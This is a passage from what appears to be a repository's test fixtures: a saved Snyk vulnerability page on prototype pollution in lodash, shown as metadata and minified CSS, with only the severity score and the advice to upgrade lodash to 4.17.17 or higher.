src=\"/_nuxt/83b1d99.js\" defer></script><script src=\"/_nuxt/64d0c54.js\" defer></script><script src=\"/_nuxt/74535e1.js\" defer></script><script src=\"/_nuxt/56b97f8.js\" defer></script>\n  </body>\n</html>\n"
  },
  {
    "path": "boefjes/tests/examples/snyk-vuln3.html",
    "content": "\n<!doctype html>\n<html data-n-head-ssr lang=\"en\" data-n-head=\"%7B%22lang%22:%7B%22ssr%22:%22en%22%7D%7D\">\n  <head >\n    <title>Prototype Pollution in lodash | Snyk</title><meta data-n-head=\"ssr\" charset=\"utf-8\"><meta data-n-head=\"ssr\" name=\"viewport\" content=\"width=device-width, initial-scale=1\"><meta data-n-head=\"ssr\" http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"><meta data-n-head=\"ssr\" http-equiv=\"x-ua-compatible\" content=\"ie=edge\"><meta data-n-head=\"ssr\" data-hid=\"og:title\" property=\"og:title\" content=\"Snyk Vulnerability Database | Snyk\"><meta data-n-head=\"ssr\" property=\"og:locale\" content=\"en_US\"><meta data-n-head=\"ssr\" property=\"og:type\" content=\"website\"><meta data-n-head=\"ssr\" property=\"og:url\" content=\"https://security.snyk.io/\"><meta data-n-head=\"ssr\" property=\"og:image\" content=\"https://res.cloudinary.com/snyk/image/upload/v1468845142/logo/snyk-avatar.png\"><meta data-n-head=\"ssr\" property=\"og:image:width\" content=\"600\"><meta data-n-head=\"ssr\" property=\"og:image:height\" content=\"600\"><meta data-n-head=\"ssr\" property=\"og:image:alt\" content=\"Snyk Vulnerability Database\"><meta data-n-head=\"ssr\" property=\"og:image:type\" content=\"image/png\"><meta data-n-head=\"ssr\" name=\"twitter:card\" content=\"summary_large_image\"><meta data-n-head=\"ssr\" name=\"twitter:site\" content=\"@snyksec\"><meta data-n-head=\"ssr\" name=\"twitter:creator\" content=\"@snyksec\"><meta data-n-head=\"ssr\" data-hid=\"description\" name=\"description\" content=\"High severity (7.3) Prototype Pollution in lodash\"><meta data-n-head=\"ssr\" data-hid=\"og:url\" property=\"og:url\" content=\"https://security.snyk.io/vuln/SNYK-JS-LODASH-608086\"><meta data-n-head=\"ssr\" data-hid=\"og:site_name\" property=\"og:site_name\" content=\"Learn more about npm with Snyk Open Source Vulnerability Database\"><meta data-n-head=\"ssr\" data-hid=\"og:description\" property=\"og:description\" content=\"High severity (7.3) Prototype Pollution in lodash\"><meta data-n-head=\"ssr\" data-hid=\"twitter:title\" name=\"twitter:title\" content=\"Prototype Pollution in lodash | Snyk\"><meta data-n-head=\"ssr\" data-hid=\"twitter:description\" name=\"twitter:description\" content=\"High severity (7.3) Prototype Pollution in lodash\"><base href=\"/\"><link data-n-head=\"ssr\" rel=\"icon\" sizes=\"192x192\" href=\"https://snyk.io/favicon.png\"><link data-n-head=\"ssr\" rel=\"shortcut icon\" href=\"https://snyk.io/favicon.ico\" type=\"image/x-icon\"><link data-n-head=\"ssr\" rel=\"apple-touch-icon\" href=\"https://snyk.io/favicon.ico\" type=\"image/x-icon\"><link data-n-head=\"ssr\" rel=\"stylesheet\" href=\"https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&amp;display=swap\"><link data-n-head=\"ssr\" rel=\"canonical\" href=\"https://security.snyk.io/vuln/SNYK-JS-LODASH-608086\"><script data-n-head=\"ssr\" data-hid=\"json_ld_breadcrumb\" type=\"application/ld+json\">{\"@context\":\"http://schema.org\",\"@type\":\"BreadcrumbList\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"item\":{\"name\":\"Snyk Vulnerability Database\",\"@id\":\"https://security.snyk.io/vuln\"}},{\"@type\":\"ListItem\",\"position\":2,\"item\":{\"name\":\"npm\",\"@id\":\"https://security.snyk.io/vuln/npm\"}},{\"@type\":\"ListItem\",\"position\":3,\"item\":{\"name\":\"lodash\"}}]}</script><script data-n-head=\"ssr\" data-hid=\"json_ld_faq\" type=\"application/ld+json\">{\"@context\":\"https://schema.org\",\"@graph\":[{\"@type\":\"FAQPage\",\"inLanguage\":\"en-US\",\"mainEntity\":[{\"@type\":\"Question\",\"name\":\"How to fix?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"&lt;p&gt;Upgrade &lt;code&gt;lodash&lt;/code&gt; to version 4.17.17 or higher.&lt;/p&gt;\\n\"}}]}]}</script><link rel=\"preload\" href=\"/_nuxt/93175d7.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/64d0c54.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/74535e1.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/56b97f8.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/cdceec7.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/e28ec5e.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/e59929a.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/a176eca.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/ef6d641.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/83b1d99.js\" as=\"script\"><style data-vue-ssr-id=\"79562cab:0 bc9488b0:0 6c1715b0:0 5474b757:0 d0bd84d6:0 338b4d83:0 5a592308:0 0377c397:0 42b4269a:0 f6ebc83c:0 7a942c2a:0 8773814e:0 a8ef8092:0 b201d506:0 0f274faf:0 1cb1ed1c:0 20fc7a6a:0 df68bb3a:0 49555e5f:0 2afa21a2:0 44f1d518:0 1d0c703e:0 3a5539dc:0 cb360912:0 777359f5:0 12a03586:0 29f96e92:0 04f15ee9:0 0a923106:0 0c720733:0 55c3b144:0 b0aa9140:0 42e8f28e:0 23f9a731:0 325e47a8:0 5b0cc504:0 205026a2:0 648901ea:0\">a,abbr,area,article,aside,audio,b,bdo,blockquote,body,button,canvas,caption,cite,code,col,colgroup,datalist,dd,del,details,dfn,dialog,div,dl,dt,em,embed,fieldset,figure,form,h1,h2,h3,h4,h5,h6,head,header,hgroup,hr,html,i,iframe,img,input,ins,kbd,keygen,label,legend,li,map,mark,menu,meter,nav,noscript,object,ol,optgroup,option,output,p,param,pre,progress,q,rp,rt,ruby,samp,section,select,small,span,strong,sub,sup,table,tbody,td,textarea,tfoot,th,thead,time,tr,ul,var,video{background:transparent;border:0;font:inherit;font-size:100%;margin:0;outline:none;padding:0;text-align:inherit;text-decoration:none;vertical-align:baseline;z-index:auto}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:\"\";content:none}table{border-collapse:collapse;border-spacing:0}abbr,abbr[title]{text-decoration:none}@font-face{font-display:fallback;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-regular.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-regular.woff) format(\"woff\");font-style:normal;font-weight:400}@font-face{font-display:optional;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-italic.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-italic.woff) format(\"woff\");font-style:italic;font-weight:400}@font-face{font-display:fallback;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-medium.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-medium.woff) format(\"woff\");font-style:normal;font-weight:500}@font-face{font-display:optional;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-medium-italic.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-medium-italic.woff) format(\"woff\");font-style:italic;font-weight:500}@font-face{font-display:fallback;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-bold.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-bold.woff) format(\"woff\");font-style:normal;font-weight:700}.highlight{background-color:#99e4ff}.dimmed{color:#727184}.critical-severity{color:#ad1a1a}.high-severity{color:#cc4f19}.medium-severity{color:#d68100}.low-severity{color:#86859d}*{box-sizing:border-box}svg:not(:root){display:inline-block;fill:currentColor;overflow:hidden;vertical-align:middle}.margin--xxxl{margin:85.3333333333px}.margin-top--xxxl{margin-top:85.3333333333px}.margin-right--xxxl{margin-right:85.3333333333px}.margin-bottom--xxxl{margin-bottom:85.3333333333px}.margin-left--xxxl{margin-left:85.3333333333px}@media only screen and (min-width:40em){.margin--xxxl{margin:128px}.margin-top--xxxl{margin-top:128px}.margin-right--xxxl{margin-right:128px}.margin-bottom--xxxl{margin-bottom:128px}.margin-left--xxxl{margin-left:128px}}.margin--xxl{margin:42.6666666667px}.margin-top--xxl{margin-top:42.6666666667px}.margin-right--xxl{margin-right:42.6666666667px}.margin-bottom--xxl{margin-bottom:42.6666666667px}.margin-left--xxl{margin-left:42.6666666667px}@media only screen and (min-width:40em){.margin--xxl{margin:64px}.margin-top--xxl{margin-top:64px}.margin-right--xxl{margin-right:64px}.margin-bottom--xxl{margin-bottom:64px}.margin-left--xxl{margin-left:64px}}.margin--xl{margin:32px}.margin-top--xl{margin-top:32px}.margin-right--xl{margin-right:32px}.margin-bottom--xl{margin-bottom:32px}.margin-left--xl{margin-left:32px}@media only screen and (min-width:40em){.margin--xl{margin:48px}.margin-top--xl{margin-top:48px}.margin-right--xl{margin-right:48px}.margin-bottom--xl{margin-bottom:48px}.margin-left--xl{margin-left:48px}}.margin--l{margin:21.3333333333px}.margin-top--l{margin-top:21.3333333333px}.margin-right--l{margin-right:21.3333333333px}.margin-bottom--l{margin-bottom:21.3333333333px}.margin-left--l{margin-left:21.3333333333px}@media only screen and (min-width:40em){.margin--l{margin:32px}.margin-top--l{margin-top:32px}.margin-right--l{margin-right:32px}.margin-bottom--l{margin-bottom:32px}.margin-left--l{margin-left:32px}}.margin--m{margin:16px}.margin-top--m{margin-top:16px}.margin-right--m{margin-right:16px}.margin-bottom--m{margin-bottom:16px}.margin-left--m{margin-left:16px}@media only screen and (min-width:40em){.margin--m{margin:24px}.margin-top--m{margin-top:24px}.margin-right--m{margin-right:24px}.margin-bottom--m{margin-bottom:24px}.margin-left--m{margin-left:24px}}.margin--default{margin:10.6666666667px}.margin-top--default{margin-top:10.6666666667px}.margin-right--default{margin-right:10.6666666667px}.margin-bottom--default{margin-bottom:10.6666666667px}.margin-left--default{margin-left:10.6666666667px}@media only screen and (min-width:40em){.margin--default{margin:16px}.margin-top--default{margin-top:16px}.margin-right--default{margin-right:16px}.margin-bottom--default{margin-bottom:16px}.margin-left--default{margin-left:16px}}.margin--s{margin:8px}.margin-top--s{margin-top:8px}.margin-right--s{margin-right:8px}.margin-bottom--s{margin-bottom:8px}.margin-left--s{margin-left:8px}@media only screen and (min-width:40em){.margin--s{margin:12px}.margin-top--s{margin-top:12px}.margin-right--s{margin-right:12px}.margin-bottom--s{margin-bottom:12px}.margin-left--s{margin-left:12px}}.margin--xs{margin:5.3333333333px}.margin-top--xs{margin-top:5.3333333333px}.margin-right--xs{margin-right:5.3333333333px}.margin-bottom--xs{margin-bottom:5.3333333333px}.margin-left--xs{margin-left:5.3333333333px}@media only screen and (min-width:40em){.margin--xs{margin:8px}.margin-top--xs{margin-top:8px}.margin-right--xs{margin-right:8px}.margin-bottom--xs{margin-bottom:8px}.margin-left--xs{margin-left:8px}}.margin--xxs{margin:2.6666666667px}.margin-top--xxs{margin-top:2.6666666667px}.margin-right--xxs{margin-right:2.6666666667px}.margin-bottom--xxs{margin-bottom:2.6666666667px}.margin-left--xxs{margin-left:2.6666666667px}@media only screen and (min-width:40em){.margin--xxs{margin:4px}.margin-top--xxs{margin-top:4px}.margin-right--xxs{margin-right:4px}.margin-bottom--xxs{margin-bottom:4px}.margin-left--xxs{margin-left:4px}}.margin--xxxs{margin:1.3333333333px}.margin-top--xxxs{margin-top:1.3333333333px}.margin-right--xxxs{margin-right:1.3333333333px}.margin-bottom--xxxs{margin-bottom:1.3333333333px}.margin-left--xxxs{margin-left:1.3333333333px}@media only screen and (min-width:40em){.margin--xxxs{margin:2px}.margin-top--xxxs{margin-top:2px}.margin-right--xxxs{margin-right:2px}.margin-bottom--xxxs{margin-bottom:2px}.margin-left--xxxs{margin-left:2px}}.scoped,body,button,html,input,textarea{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:400;color:inherit;line-height:1.4;font-feature-settings:\"pnum\"}html,input,textarea{color:#555463}h1,h2{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:400}h2{font-size:1.5rem}h3{font-size:1.25rem;line-height:1.8}h3,h4,h5,h6{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:500}h4,h5,h6{font-size:1rem}h1,h2,h3,h4,h5,h6{color:#1c1c21}a{cursor:pointer;text-decoration:none}a,a:hover{color:#4b45a1}a:hover{text-decoration:underline}p{margin:12px 0}p:first-child{margin-top:0}p:last-child{margin-bottom:0}strong{font-weight:500}em{font-style:italic}hr{background-color:#d3d3d9;border:none;display:block;height:1px}ol{margin:0;padding:0 0 0 1em;list-style:decimal;font-feature-settings:\"pnum\"}ol li{margin:8px 0}ul{margin:0;padding:0 0 0 1em;list-style:disc;font-feature-settings:\"pnum\"}ul li{margin:8px 0}.footnote{font-style:italic;color:#727184;font-size:.875rem}img{max-width:100%}code{background-color:rgba(85,84,99,.1);border-radius:4px;font-family:\"Consolas\",\"Monaco\",\"Andale Mono\",\"Ubuntu Mono\",monospace;font-feature-settings:\"pnum\";font-variant:proportional-nums;font-size:90%;padding:2px 4px;white-space:pre}p code{white-space:pre-wrap}@media only percy{.hide-in-percy{display:none!important}}.table{margin-bottom:12px;width:auto}.table tr{border:none}.table td,.table th{font-size:1rem;letter-spacing:0;line-height:1.65;text-transform:none;color:#555463;padding:0;vertical-align:top}.table th{font-weight:500}.table--basic th{text-align:left}.table--basic td,.table--basic th{padding-right:12px}.table--small td,.table--small th{font-size:.875rem}.shake-horizontal{animation:shake-horizontal .8s cubic-bezier(.455,.03,.515,.955) both}@keyframes shake-horizontal{0%,to{transform:translateX(0)}10%,30%,50%,70%{transform:translateX(-10px)}20%,40%,60%{transform:translateX(10px)}80%{transform:translateX(8px)}90%{transform:translateX(-8px)}}.shake-horizontal-subtle{animation:shake-horizontal-subtle .8s cubic-bezier(.455,.03,.515,.955) both}@keyframes shake-horizontal-subtle{0%,to{transform:translateX(0)}10%,30%,50%,70%{transform:translateX(-4px)}20%,40%,60%{transform:translateX(4px)}80%{transform:translateX(2px)}90%{transform:translateX(-2px)}}.shake-vertical{animation:shake-vertical .8s cubic-bezier(.455,.03,.515,.955) both}@keyframes shake-vertical{0%,to{transform:translateY(0)}10%,30%,50%,70%{transform:translateY(-8px)}20%,40%,60%{transform:translateY(8px)}80%{transform:translateY(6.4px)}90%{transform:translateY(-6.4px)}}.shake-vertical-subtle{animation:shake-vertical-subtle .8s cubic-bezier(.455,.03,.515,.955) both}@keyframes shake-vertical-subtle{0%,to{transform:translateY(0)}10%,30%,50%,70%{transform:translateY(-2px)}20%,40%,60%{transform:translateY(2px)}80%{transform:translateY(1.6px)}90%{transform:translateY(-1.6px)}}.vue--site-header,[data-vue=site-header]{min-height:64px;background:linear-gradient(90deg,#7530a6 0,#461d9f 50%)}\n.nuxt-progress{position:fixed;top:0;left:0;right:0;height:2px;width:0;opacity:1;transition:width .1s,opacity .4s;background-color:#000;z-index:999999}.nuxt-progress.nuxt-progress-notransition{transition:none}.nuxt-progress-failed{background-color:red}\n.page[data-v-0fde60d6]{background:#fff}main[data-v-0fde60d6]{display:flex;flex-direction:column;min-height:calc(100vh - 145px)}\n.site-header .site-header__container[data-v-be91f9d4]{align-items:center;height:4rem;display:flex}.site-header .site-header__container .title-link[data-v-be91f9d4]{align-items:center;display:flex}.site-header .site-header__container .dropdown-links[data-v-be91f9d4]{display:none;margin-left:auto;color:#1c1c21}.site-header .site-header__container .dropdown-links li[data-v-be91f9d4]{line-height:2rem;min-width:11.25rem;padding:0 10px;color:#383f76}.site-header .site-header__container .dropdown-links li[data-v-be91f9d4] :hover{border-radius:6px;background:rgba(20,93,235,.1);text-decoration:none;font-weight:500}.site-header .site-header__link[data-v-be91f9d4],.site-header .site-header__link[data-v-be91f9d4]:hover{color:#1c1c21;display:none;margin-left:1em}@media only screen and (min-width:26.25em){.site-header .site-header__container .dropdown-links[data-v-be91f9d4],.site-header .site-header__link[data-v-be91f9d4],.site-header .site-header__link[data-v-be91f9d4]:hover{display:block}}\n.vue--layout-container[data-v-43af9ae8]{max-width:1440px;margin-left:auto;margin-right:auto;padding-left:20px;padding-right:20px}\na.vue--anchor[data-v-ce2707d6]{color:#4b45a1;cursor:pointer;text-decoration:none;transition:opacity .25s ease-in-out}a.vue--anchor[data-v-ce2707d6]:focus,a.vue--anchor[data-v-ce2707d6]:hover{color:#4b45a1;text-decoration:underline}a.vue--anchor--cta[data-v-ce2707d6]{color:#157575}a.vue--anchor--cta[data-v-ce2707d6]:focus,a.vue--anchor--cta[data-v-ce2707d6]:hover{color:#157575;text-decoration:underline}a.vue--anchor--inverted[data-v-ce2707d6]{color:#fff;opacity:.8;text-decoration:underline}a.vue--anchor--inverted[data-v-ce2707d6]:focus,a.vue--anchor--inverted[data-v-ce2707d6]:hover{color:#fff;opacity:1}a.vue--anchor--plain[data-v-ce2707d6],a.vue--anchor--plain[data-v-ce2707d6]:focus,a.vue--anchor--plain[data-v-ce2707d6]:hover{color:#555463;text-decoration:none}a.vue--anchor--disabled[data-v-ce2707d6]{cursor:default}a.vue--anchor--disabled[data-v-ce2707d6]:hover{text-decoration:none}.vue--anchor__external[data-v-ce2707d6]{line-height:1em;position:relative;top:-.25em;margin-left:4px}.vue--anchor__external[data-v-ce2707d6]  svg{height:.6em!important;width:.6em!important}.vue--anchor__offscreen[data-v-ce2707d6]{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border:0}\n.vue--dropdown-menu[data-v-64b0d6bd]{position:relative}.vue--dropdown-menu__handle[data-v-64b0d6bd]{cursor:pointer}.vue--dropdown-menu__handle.focus-visible[data-v-64b0d6bd],.vue--dropdown-menu__handle[data-v-64b0d6bd]:focus-visible{outline:1px dotted rgba(75,69,161,.75)}.vue--dropdown-menu__menu[data-v-64b0d6bd]{background-color:#fff;border-radius:4px;box-shadow:0 0 17px 6px rgba(0,0,0,.06);display:none;position:absolute;z-index:5}.open .vue--dropdown-menu__menu[data-v-64b0d6bd]{display:inline-block}.vue--dropdown-menu__menu[data-v-64b0d6bd]:focus{background-color:#0c0}.vue--dropdown-menu__menu--secondary[data-v-64b0d6bd]{background:#faf9fa;border-top:1px solid #e4e3e8;border-radius:0 0 4px 4px}.vue--dropdown-menu__menu--primary[data-v-64b0d6bd],.vue--dropdown-menu__menu--secondary[data-v-64b0d6bd]{padding:16px 0}.vue--dropdown-menu--align-right[data-v-64b0d6bd]{justify-content:flex-end}.vue--dropdown-menu--extra-small[data-v-64b0d6bd]{font-size:.75rem}.vue--dropdown-menu--small[data-v-64b0d6bd]{font-size:.8125rem}\n.vue--dropdown-menu-link[data-v-3871f022]{list-style:none;margin:0;white-space:nowrap}.vue--dropdown-menu-link__link[data-v-3871f022]{display:block;padding:4px 24px}.vue--dropdown-menu-link__link[data-v-3871f022]:focus{outline:1px dotted #4b45a1}.vue--dropdown-menu-link--nested[data-v-3871f022]{padding-left:32px}\n.vuln-page__heading-wrapper[data-v-085cdb9e]{background-color:#f7fafd}.vuln-page__heading-wrapper .grid-wrapper[data-v-085cdb9e]{padding-top:24px}.vuln-page__heading-wrapper .left[data-v-085cdb9e]{display:flex;flex-direction:column;justify-content:space-between}.vuln-page__heading-wrapper hr[data-v-085cdb9e]{border-bottom:3px solid #bfbfbf}.vuln-page__heading-wrapper hr.severity-low[data-v-085cdb9e]{border-color:#86859d}.vuln-page__heading-wrapper hr.severity-medium[data-v-085cdb9e]{border-color:#d68100}.vuln-page__heading-wrapper hr.severity-high[data-v-085cdb9e]{border-color:#cc4f19}.vuln-page__heading-wrapper hr.severity-critical[data-v-085cdb9e]{border-color:#ad1a1a}.vuln-page__heading[data-v-085cdb9e]{margin-top:2px}.vuln-page__heading--icon[data-v-085cdb9e]{position:relative;top:-4px}.vuln-page__body-wrapper[data-v-085cdb9e]{background-color:#fff;padding-bottom:32px;padding-top:32px}.vuln-page__body-wrapper .right[data-v-085cdb9e]{top:-56px}.vuln-page__body-wrapper .right.severity-widget[data-v-085cdb9e]{top:-139px;width:100%;position:absolute;z-index:1}.vuln-page__info-block__container[data-v-085cdb9e]{margin-bottom:32px;display:flex;justify-content:space-between}.vuln-page__instruction-block[data-v-085cdb9e]{margin-bottom:32px}.vuln-page__content[data-v-085cdb9e]{padding:24px 24px 0}.vuln-page__content[data-v-085cdb9e]>:not(:last-child){margin-bottom:24px}.grid-wrapper[data-v-085cdb9e]{display:grid;grid-template-columns:repeat(12,[col-start] 1fr);position:relative}.grid-wrapper .left[data-v-085cdb9e]{grid-column:col-start/span 7;grid-row:1;min-width:0}.grid-wrapper .right[data-v-085cdb9e]{grid-column:col-start 9/span 4;grid-row:1;position:relative;grid-gap:16px;gap:16px;display:flex;flex-direction:column}.subheading[data-v-085cdb9e]{display:block}.banner[data-v-085cdb9e],.subheading[data-v-085cdb9e]{font-size:1.125rem;line-height:1.625rem;font-weight:400;margin-top:12px;margin-bottom:48px}.banner_alert[data-v-085cdb9e]{display:flex;align-items:center}.banner_warn[data-v-085cdb9e]{margin-right:12px}@media screen and (max-width:720px){.vuln-page__body-wrapper .left[data-v-085cdb9e]{margin-top:80px}.grid-wrapper .left[data-v-085cdb9e]{grid-column:col-start/span 12;grid-row:1;margin-right:unset}.grid-wrapper .right[data-v-085cdb9e]{grid-column:col-start/span 12;grid-row:2;margin-bottom:32px;position:relative;top:unset}.grid-wrapper .right.severity-widget[data-v-085cdb9e]{grid-row:1;top:-120px}.vuln-page__heading-wrapper[data-v-085cdb9e]{padding-top:0;word-break:break-all}.vuln-page__heading-wrapper .grid-wrapper[data-v-085cdb9e]{padding:0;margin-bottom:100px}.vuln-page__heading-wrapper .right[data-v-085cdb9e]{background-color:#fff;grid-row:1;padding:16px 20px;margin-bottom:unset}.vuln-page__heading-wrapper .left[data-v-085cdb9e]{grid-row:2;padding:24px 24px 0}.subheading[data-v-085cdb9e]{margin-bottom:0}}@media screen and (max-width:420px){.vuln-page__info-block__container[data-v-085cdb9e]{flex-direction:column}.vuln-page__info-block__container__sharebtn[data-v-085cdb9e]{margin-top:16px}}\n.breadcrumbs-with-search[data-v-c193da48]{background-color:#f6fafd;display:grid;grid-template-columns:repeat(12,[col-start] 1fr);position:relative;padding-top:24px;word-break:break-all}.breadcrumbs-with-search .left[data-v-c193da48]{grid-column:col-start/span 8;grid-row:1;margin-right:78px;max-width:800px}.breadcrumbs-with-search .right[data-v-c193da48]{grid-column:col-start 9/span 4;grid-row:1;position:relative}@media screen and (max-width:720px){.breadcrumbs-with-search[data-v-c193da48]{padding:0}.breadcrumbs-with-search .left[data-v-c193da48]{grid-column:col-start/span 12;grid-row:2;margin-right:unset;padding:16px 20px}.breadcrumbs-with-search .right[data-v-c193da48]{grid-column:col-start/span 12;grid-row:1;background:#fff;padding:16px 20px}}\n.vue--breadcrumbs[data-v-4b4b4f2c]{font-size:15px}.vue--breadcrumbs__list[data-v-4b4b4f2c]{display:block;margin:0;padding:0}.vue--breadcrumbs__list-item[data-v-4b4b4f2c]{display:inline-block;list-style-type:none;margin:0}.vue--breadcrumbs__list-item[data-v-4b4b4f2c]:after{content:\"›\";margin:0 8px 0 4px}.vue--breadcrumbs__list-item[data-v-4b4b4f2c]:last-child:after{display:none}\n.warningText[data-v-4dbb44d0]{padding-left:12px;padding-top:4px;color:#9f271e;font-size:12px;margin:0}\n.vue--search-input[data-v-e38673ba]{position:relative}.vue--search-input__field[data-v-e38673ba]{-webkit-appearance:none;background-color:#fff;border:none;border-radius:2px;display:inline-block;line-height:1.75rem;width:100%;box-shadow:inset 0 0 0 1px #d3d3d9;transition:box-shadow .2s ease;padding:8px 46px 8px 42px}.vue--search-input__field[data-v-e38673ba]::-moz-placeholder{color:#727184}.vue--search-input__field[data-v-e38673ba]:-ms-input-placeholder{color:#727184}.vue--search-input__field[data-v-e38673ba]::placeholder{color:#727184}.vue--search-input__field.focus[data-v-e38673ba],.vue--search-input__field.hover[data-v-e38673ba],.vue--search-input__field[data-v-e38673ba]:focus,.vue--search-input__field[data-v-e38673ba]:hover{box-shadow:inset 0 0 0 1px #4b45a1}.vue--search-input__field[data-v-e38673ba]::-webkit-search-cancel-button,.vue--search-input__field[data-v-e38673ba]::-webkit-search-decoration{display:none}.vue--search-input__field[data-v-e38673ba]:disabled,.vue--search-input__field[disabled][data-v-e38673ba]{background-color:#f4f4f6;box-shadow:inset 0 0 0 1px #d3d3d9;border:none;cursor:no-drop;color:#727184;opacity:1}.vue--search-input__search-icon[data-v-e38673ba]{transition:box-shadow .2s ease;position:absolute;left:12px;color:#393842;top:10px}.vue--search-input__search-icon[data-v-e38673ba]  svg{height:26px;width:26px}.vue--search-input__close-icon[data-v-e38673ba]{position:absolute;right:12px;color:#b3b2bd;cursor:pointer;display:none;top:12px}.vue--search-input__close-icon[data-v-e38673ba]  svg{height:21px;width:21px}.vue--search-input__close-icon--show[data-v-e38673ba]{display:block}.vue--search-input--focused .vue--search-input__search-icon[data-v-e38673ba]{color:#4b45a1}.vue--search-input--small .vue--search-input__field[data-v-e38673ba]{line-height:1.375rem}.vue--search-input--small .vue--search-input__close-icon[data-v-e38673ba],.vue--search-input--small .vue--search-input__search-icon[data-v-e38673ba]{top:9px}.vue--search-input--small .vue--search-input__close-icon[data-v-e38673ba]  svg,.vue--search-input--small .vue--search-input__search-icon[data-v-e38673ba]  svg{height:18px;width:18px}.vue--search-input--disabled .vue--search-input__search-icon[data-v-e38673ba]{opacity:.5}\n.vue--heading[data-v-8dd2f746]{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:500;color:#1c1c21;font-feature-settings:\"pnum\"}.vue--heading--regular[data-v-8dd2f746]{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:400}h1.vue--heading[data-v-8dd2f746]{font-size:1.5rem;line-height:1.875rem}h1.vue--heading[data-v-8dd2f746]  svg{height:1.875rem;width:1.875rem}@media only screen and (min-width:45em){h1.vue--heading[data-v-8dd2f746]{font-size:2rem;line-height:2.5rem}h1.vue--heading[data-v-8dd2f746]  svg{height:2.5rem;width:2.5rem}}h2.vue--heading[data-v-8dd2f746]{font-size:1.125rem;line-height:1.5rem}h2.vue--heading[data-v-8dd2f746]  svg{height:1.5rem;width:1.5rem}@media only screen and (min-width:45em){h2.vue--heading[data-v-8dd2f746]{font-size:1.5rem;line-height:2rem}h2.vue--heading[data-v-8dd2f746]  svg{height:2rem;width:2rem}}h3.vue--heading[data-v-8dd2f746]{font-size:.9375rem;line-height:1.5rem}h3.vue--heading[data-v-8dd2f746]  svg{height:1.5rem;width:1.5rem}@media only screen and (min-width:45em){h3.vue--heading[data-v-8dd2f746]{font-size:1.125rem;line-height:1.625rem}h3.vue--heading[data-v-8dd2f746]  svg{height:1.625rem;width:1.625rem}}h4.vue--heading[data-v-8dd2f746]{font-size:.8125rem;line-height:1.3125rem}h4.vue--heading[data-v-8dd2f746]  svg{height:1.3125rem;width:1.3125rem}@media only screen and (min-width:45em){h4.vue--heading[data-v-8dd2f746]{font-size:.9375rem;line-height:1.5rem}h4.vue--heading[data-v-8dd2f746]  svg{height:1.5rem;width:1.5rem}}\n.severity-widget__wrapper[data-v-aa211cf8]{align-items:center;border-radius:50%;display:flex;filter:drop-shadow(0 30px 50px rgba(79,75,147,.25));justify-content:center;margin:0 auto;position:relative}.severity-widget__wrapper.big[data-v-aa211cf8]{height:170px;width:170px}.severity-widget__wrapper.medium[data-v-aa211cf8]{height:110px;width:110px}.severity-widget__wrapper.small[data-v-aa211cf8]{height:77px;width:77px}.severity-widget__score[data-v-aa211cf8]{font-weight:900;line-height:40px;margin:12px 0}.severity-widget__score.medium[data-v-aa211cf8]{font-size:38px}.severity-widget__score.big[data-v-aa211cf8]{font-size:48px}.severity-widget__score.small[data-v-aa211cf8]{font-size:24px}.severity-widget__score.severity-low[data-v-aa211cf8]{color:#86859d}.severity-widget__score.severity-medium[data-v-aa211cf8]{color:#d68100}.severity-widget__score.severity-high[data-v-aa211cf8]{color:#cc4f19}.severity-widget__score.severity-critical[data-v-aa211cf8]{color:#ad1a1a}.severity-widget__badge[data-v-aa211cf8]{align-items:center;background-color:#fff;border-radius:50%;box-shadow:0 10px 15px rgba(79,75,147,.25);display:flex;flex-direction:column;justify-content:center;position:absolute;z-index:1}.severity-widget__badge.big[data-v-aa211cf8]{height:130px;width:130px}.severity-widget__badge.medium[data-v-aa211cf8]{height:84px;width:84px}.severity-widget__badge.small[data-v-aa211cf8]{height:59px;width:59px}.progress[data-v-aa211cf8]{transform:rotate(90deg) rotateY(180deg)}\n.vue--badge[data-v-0f55f474]{border-radius:4px;border:1px solid transparent;color:#fff;display:inline-block;padding:7px 12px;font-size:.8125rem;line-height:1;font-weight:400;background-color:#4b45a1;position:relative}.vue--badge+.vue--badge[data-v-0f55f474]{margin-left:4px}.vue--badge__text[data-v-0f55f474]{position:relative}.vue--badge__icon[data-v-0f55f474]{left:8px;position:absolute;top:5px}.vue--badge__icon[data-v-0f55f474]  